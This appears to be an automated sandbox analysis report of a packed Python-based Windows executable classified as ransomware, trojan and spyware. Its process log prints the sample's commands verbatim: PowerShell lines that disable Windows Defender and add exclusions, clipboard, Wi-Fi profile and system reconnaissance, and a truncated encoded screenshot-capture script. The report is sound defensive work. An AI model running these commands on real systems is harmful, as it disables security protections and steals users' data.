Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA18F24C	70_2_00007FF6AA18F24C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C02A4	70_2_00007FF6AA1C02A4
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1842E0	70_2_00007FF6AA1842E0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA19D2C0	70_2_00007FF6AA19D2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D832C	70_2_00007FF6AA1D832C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D1314	70_2_00007FF6AA1D1314
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1A67E0	70_2_00007FF6AA1A67E0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1917C8	70_2_00007FF6AA1917C8
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D18A8	70_2_00007FF6AA1D18A8
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA188884	70_2_00007FF6AA188884
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA192890	70_2_00007FF6AA192890
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B38E8	70_2_00007FF6AA1B38E8
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1BD91C	70_2_00007FF6AA1BD91C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B0904	70_2_00007FF6AA1B0904
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C190C	70_2_00007FF6AA1C190C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA198598	70_2_00007FF6AA198598
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1BF59C	70_2_00007FF6AA1BF59C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1AF5B0	70_2_00007FF6AA1AF5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1B65FC	70_2_00007FF6AA1B65FC
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D260C	70_2_00007FF6AA1D260C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1D7660	70_2_00007FF6AA1D7660
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1986C4	70_2_00007FF6AA1986C4
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1E86D4	70_2_00007FF6AA1E86D4
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C2700	70_2_00007FF6AA1C2700
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1BA710	70_2_00007FF6AA1BA710
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1C0710	70_2_00007FF6AA1C0710

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: String function: 00007FF6AA1C49F4 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: String function: 00007FF6AA198444 appears 48 times
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: String function: 00007FF8A92E12EE appears 144 times
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: String function: 00007FF78DA52710 appears 82 times
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: String function: 00007FF8A87E8450 appears 39 times
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: String function: 00007FF8A934DF9F appears 44 times
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: String function: 00007FF8A934E035 appears 34 times

Source: 9g9LZNE4bH.exe

Static PE information: invalid certificate

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 9g9LZNE4bH.exe	Binary or memory string: OriginalFilename vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000000.2024791081.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWerMgrj% vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2025057853.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe	Binary or memory string: OriginalFilename vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2408936986.00007FF8B7E13000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2410749763.00007FF8B9F6C000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2410371024.00007FF8B93D8000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2409848881.00007FF8B8B4C000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2406234372.00007FF8A845B000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibsslH vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2409129027.00007FF8B7E4D000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2408434798.00007FF8A8F2C000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython311.dll. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000000.2030556743.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWerMgrj% vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2409538341.00007FF8B8B12000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2410588457.00007FF8B984C000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2407250158.00007FF8A87B4000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2411111801.00007FF8BFAC7000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2410144947.00007FF8B8F92000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe, 00000002.00000002.2409346784.00007FF8B7E68000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs 9g9LZNE4bH.exe
Source: 9g9LZNE4bH.exe	Binary or memory string: OriginalFilenameWerMgrj% vs 9g9LZNE4bH.exe

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987034574468086
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9922604615660919
Source: python311.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9991515062597809
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9975816061482433
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9943188170840788

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@143/56@2/2

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Code function: 70_2_00007FF6AA19CAFC GetLastError,FormatMessageW,

70_2_00007FF6AA19CAFC

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA19EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		70_2_00007FF6AA19EF50
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1CB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		70_2_00007FF6AA1CB57C

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Code function: 70_2_00007FF6AA1A3144 GetDiskFreeSpaceExW,

70_2_00007FF6AA1A3144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7280:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1520:120:WilError_03
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Mutant created: \Sessions\1\BaseNamedObjects\l
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5748:120:WilError_03

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI61762

Jump to behavior

Source: 9g9LZNE4bH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: 9g9LZNE4bH.exe	Virustotal: Detection: 45%
Source: 9g9LZNE4bH.exe	ReversingLabs: Detection: 42%

Source: 9g9LZNE4bH.exe	String found in binary or memory: set-addPolicy
Source: 9g9LZNE4bH.exe	String found in binary or memory: id-cmc-addExtensions
Source: 9g9LZNE4bH.exe	String found in binary or memory: command-line parameters (see --help for details): PYTHONDEBUG : enable parser debug mode (-d) PYTHONDONTWRITEBYTECODE : don't write .pyc files (-B) PYTHONINSPECT : inspect interactively after running script (-i) PYTHONINTMAXSTRDIGITS :
Source: 9g9LZNE4bH.exe	String found in binary or memory: command-line parameters (see --help for details): PYTHONDEBUG : enable parser debug mode (-d) PYTHONDONTWRITEBYTECODE : don't write .pyc files (-B) PYTHONINSPECT : inspect interactively after running script (-i) PYTHONINTMAXSTRDIGITS :
Source: 9g9LZNE4bH.exe	String found in binary or memory: --help
Source: 9g9LZNE4bH.exe	String found in binary or memory: --help
Source: 9g9LZNE4bH.exe	String found in binary or memory: can't send non-None value to a just-started generator

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

File read: C:\Users\user\Desktop\9g9LZNE4bH.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\9g9LZNE4bH.exe "C:\Users\user\Desktop\9g9LZNE4bH.exe"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Users\user\Desktop\9g9LZNE4bH.exe "C:\Users\user\Desktop\9g9LZNE4bH.exe"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgA